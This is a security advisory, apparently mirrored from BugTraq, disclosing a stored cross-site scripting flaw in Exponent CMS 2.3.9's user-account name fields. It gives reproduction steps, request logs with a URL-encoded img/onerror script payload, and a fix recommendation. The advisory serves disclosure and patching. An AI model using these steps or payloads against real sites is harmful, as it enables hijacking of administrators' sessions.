BugTraq
Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability Jul 28 2016 10:00AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1886

Release Date:
=============
2016-07-27

Vulnerability Laboratory ID (VL-ID):
====================================
1886

Common Vulnerability Scoring System:
====================================
4.5

Product & Service Introduction:
===============================
Exponent is a web application that allows site owners to easily create and manage dynamic websites. Unlike other
site management tools, Exponent is completely self-contained. No additional applications need to be downloaded
by a user to permit them to use Exponent. Everything from user management to site configuration to content editing
and approval is done within the system.

(Copy of the Vendor Homepage: http://www.exponentcms.org/ )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the official Exponent v2.3.9 open-source content management system.

Vulnerability Disclosure Timeline:
==================================
2016-07-27: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Exponent Community
Product: Exponent - Content Management System (Open Source) 2.3.9

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the official Exponent v2.3.9 open-source content management system.
The vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable module or affected function.

The vulnerability is located in the `firstname` and `lastname` parameters of the `useraccounts` module. The vulnerable inputs are `realname` and `user`.
Remote attackers are able to use the registration to inject own malicious script codes to the backend of the exponent web-application. The injection points
are the vulnerable `createuser` and `umgr_editprofile` of the user manager and the execution point occurs in the `useraccounts` module. The request method
to inject is POST and the attack vector is persistent on the application-side. The vulnerability can be exploited by local privileged user account or remotly
by anonymous users via basic registration. The execute in the useraccounts module occurs on visit of the page module via backend by the administrator account.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7.
Exploitation of the vulnerability requires a low privileged web-application user account (registration or create) and only low user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] createuser (basic user account)
[+] umgr_editprofile (admin account)

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] ./useraccounts

Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by remote attackers with privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Inject: Add or Register Account
URL: http://exponent_cms.localhost:8000/exponent/loginmodule/createuser/
URL: http://exponent_cms.localhost:8000/exponent/administrationmodule/umgr_ed
itprofile/id/0/

Execution: User Accounts
URL: http://exponent_cms.localhost:8000/exponent/administrationmodule/useracc
ounts/

Manual steps to reproduce the vulnerability ...
1. Open the vulnerable cms website with the affected version
2. Surf to the user registration that is open by default
3. Include as realname and user name a script code payload (firstname & lastname)
4. Save the registration via POST method request
Note: The user account arrives visible in the user accounts management of the exponent cms (admin backend)
5. Now the admin login to his application and only needs to watch the user accounts management to execute the payload
6. Successful reproduce of the vulnerability!

PoC: User Accounts Management Listing
<tbody id="dataTable">
<tr><td class="header administration_header"><a href="#" onclick="paginate.sort("0"); return false;">Real Name</a> 
<img id="sortCol_0" src="/exponent/themes/common/images/icons/sortdescending.png" <tr class="row even_row">
<td valign="top">[REALNAME PERSISTENT SCRIPT CODE EXECUTION!]</td><td valign="top">[USER PERSISTENT SCRIPT CODE EXECUTION!]</td>
<td valign="top">asdasdasda (at) mail (dot) com [email concealed]</td><td valign="top"><a class="mngmntlink administration_mngmntlink"
href="/exponent/index.php?module=administrationmodule&action=umgr_ed
it&id=4"><img class="mngmnt_icon" style="border:none;"
src="/exponent/themes/common/images/icons/edit.png" title="" alt=""></a><a class="mngmntlink administration_mngmntlink"
href="/exponent/index.php?module=administrationmodule&action=umgr_de
lete&id=4"
onclick="return confirm('Are you sure you want to delete the user ' ">a<img class="mngmnt_icon" style="border:none;"
src="/exponent/themes/common/images/icons/delete.png" title="" alt=""></a></td></tr>

--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://exponent-cms.localhost:8000/exponent/index.php
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprof
ile/]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(n
one);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP
0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235
kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
POST-Daten:
id[1]
module[loginmodule]
action[saveprofile]
firstname[[PERSISTENT SCRIPT CODE INJECT!]]
lastname[+%22%3E%3C[PERSISTENT SCRIPT CODE INJECT!]%2823%29%3B%3E]
email[hagbart2016%40235kwgfwkeokfg.com]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=UTF-8]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 10:54:05 GMT; Max-Age=8640000; path=/]
Location[http://exponent-cms.localhost:8000/exponent/]
-
Status: 302[Found]
POST http://exponent-cms.localhost:8000/exponent/index.php
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprof
ile/]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(n
one);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP
0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235
kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
POST-Daten:
id[1]
module[loginmodule]
action[saveprofile]
firstname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
lastname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
email[opencms%40235kwgfwkeokfg.com]
-
Status: 200[OK]
GET http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/x[PER
SISTENT SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/createus
er/a]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(n
one);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP
0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235
kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Tue, 26 Jul 2016 10:52:51 GMT]
Content-Type[text/html; charset=UTF-8]
Content-Length[4030]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 10:52:51 GMT; Max-Age=8640000; path=/]
-
Status: 200[OK]
GET http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PE
RSISTENT SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprof
ile/x[PERSISTENT SCRIPT CODE EXECUTION!]]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(n
one);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP
0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235
kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Tue, 26 Jul 2016 10:53:54 GMT]
Content-Type[text/html; charset=UTF-8]
Content-Length[4124]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 10:53:54 GMT; Max-Age=8640000; path=/]

Reference(s):
http://exponent-cms.localhost:8000/
http://exponent-cms.localhost:8000/exponent/
http://exponent-cms.localhost:8000/exponent/index.php
http://exponent-cms.localhost:8000/exponent/loginmodule/
http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable Username and Realname input fields.
Encode and parse the same in the registration and admin section to ensure no ability for the attack vector is granted.
Disallow the usage of special chars on the affected parameters and input fields of the user accounts management.
Parse in the user accounts management site the output values of the realname and name to prevent application-side
attacks by registration of a basic user account.

Security Risk:
==============
The security risk of the application-side input validation vulnerability in the exponent cms web-application is estimated as medium. (CVSS 4.5)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm (at) evolution-sec (dot) com [email concealed]) [www.vulnerability-lab.com]

Disclaimer & Information:
=========================
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